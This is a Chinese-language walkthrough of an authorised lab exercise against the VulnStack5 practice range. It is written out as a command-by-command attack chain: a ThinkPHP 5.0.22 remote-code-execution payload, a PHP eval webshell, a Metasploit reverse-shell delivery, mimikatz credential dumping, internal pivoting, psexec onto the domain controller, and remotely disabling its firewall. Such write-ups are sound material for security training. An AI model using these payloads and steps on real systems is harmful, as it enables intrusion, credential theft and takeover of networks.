此次渗透测试我们使用了红日安全的VulnStack5靶场,靶场虚拟机共用两个,一个外网一个内网。
攻击端
kali:192.168.206.128
目标端
win7:
外网网卡:192.168.206.129 NAT模式,模拟外网
内网网卡:192.168.138.135 仅主机模式,模拟内网
账号信息:
sun\leo 123.com
sun\Administrator huawei@123
Server2008
IP:192.168.138.138 仅主机模式,模拟内网
账号信息:
sun\admin 2020.com
我们起手依旧显示扫描一手网段
Nmap -Pn 192.168.206.0/24
可发现目标服务开启了80,3306,3389端口,因为在渗透中web优先级较高我们先看80端口
可以发现是一个经典的ThinkPHP页面版本是5.0,通过报错测试发现详细版本v5.0.22
根据历史遗留漏洞来尝试渗透。判断他他大概率存在5.0著名的RCE漏洞
我们使用searchsploit thinkphp来查看漏洞
我们将46150下载到我们当前目录下并查看他
这边发现了v5.0.22有4个可利用的pyload经过构造测试发现最终pyload为http://192.168.206.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
最后测试成功发现网页的确存在RCE漏洞,那我们构造一个shell语句/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[bqb]);?>" > shell.php
ok现在shell写进去了我们上蚁剑连接
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。Github地址为:
GitHub - AntSwordProject/AntSword-Loader: AntSword 加载器
我们systeminfo查看他的一个系统信息,第一次查看无回显之后将蚁剑连接数据删除后再尝试就有回显了可能是一个蚁剑的小问题,多尝试就好了。
我们同通过win7相他的域内网进行横向移动
为了拿到更好的的权限和功能,需要一个shell进行操作,这里我们使用反弹shell方式来获取shell。Metasploit的Web Delivery Script是一个多功能模块,可在托管有效负载的攻击机器上创建服务器。当受害者连接到攻击服务器时,负载将在受害者机器上执行。此漏洞需要一种在受害机器上执行命令的方法。特别是你必须能够从受害者到达攻击机器。远程命令执行是使用此模块的攻击向量的一个很好的例子。Web Delivery脚本适用于php,python和基于PowerShell的应用程序。
进入msfconsole,然后选择对应的模块并设置好选项。
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.206.129#自己ip地址
exploit
运行后会生成一段执行代码,将执行代码放到你的蚁剑终端上执行
等待一会,再用sessions查看会看到一条记录,我们用sessions制定连接上win7
我们查看当前权限并且提升到system权限上
getuid
setsystem
getuid
下面我们来尝试攻击域控。
1添加路由
首先使用background返回到msfconsole,然后添加一个通向192.168.138.0网段的路由:
route add 192.168.138.0 255.255.255.0 1 #这里的1代表session的id号
route print
我们使用msf自带的代理模块,来搭建一条代理通道
use auxiliary/server/socks_proxy
set srvport 1080
set srvhost 127.0.0.1
run
再kali上添加socks的代理文件 编辑/etc/proxychains.conf文件,将socks5服务器指向127.0.0.1的1080端口,之后便可以使用proxychains将我们的程序代理进内网了。
[ProxyList]
socks5 127.0.0.1 1080
现在我们可以用kali通过代理进入他的域了
我们可以使用proxychains nmap进行内网扫描了。接下来扫描域控192.168.138.138端口开放情况。
我们还是连接他的win7会话
使用msfconsole中得kiwi模块来抓取密码
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
发现报错
因为当前是32位的进程无法运行mimikatz,所以我们需要将当前进程迁移到一个64位的进程中。执行ps命令后随便找一个64位的进程迁移即可。
先用ps查看一下然后转移到cmd.exe X64上
migrate 380#根据自己情况来
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
获取到了win7域中存储的用户和密码
既然已经获得了域管理员的用户名密码,那么我们直接尝试使用psexec登录域控(Windows 2008)。
use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com
set payload windows/meterpreter/bind_tcp
run
失败了,应该是Windows 2008开启了防火墙的原因。没关系,既然有了域管理员的密码,我们可以尝试关闭Windows 2008的防火墙。我们用sc通过创建服务来远程执行。
接下来在Meterpreter中运行shell进入命令行模式,使用chcp 65001修改编码格式为utf8,要不显示的是乱码。再执行如下net use命令,让其与Windows 2008建立ipc$连接。
ipc$连接建立成功后,可使用net use进行查看
然后创建服务来远程关闭Windows 2008的防火墙:
sc \192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" # 创建服务
sc \192.168.138.138 start unablefirewall # 立即启动服务
此时再次尝试使用psexec登录域控,成功上线。
开启Windows 2008远程桌面:
use post/windows/manage/enable_rdp
set session 8
run
执行后,使用proxychains设置代理即可连接Windows 2008的远程桌面了:
proxychains rdesktop 192.168.138.138
版权归原作者 比奇堡渗透扛把子 所有, 如有侵权,请联系我们删除。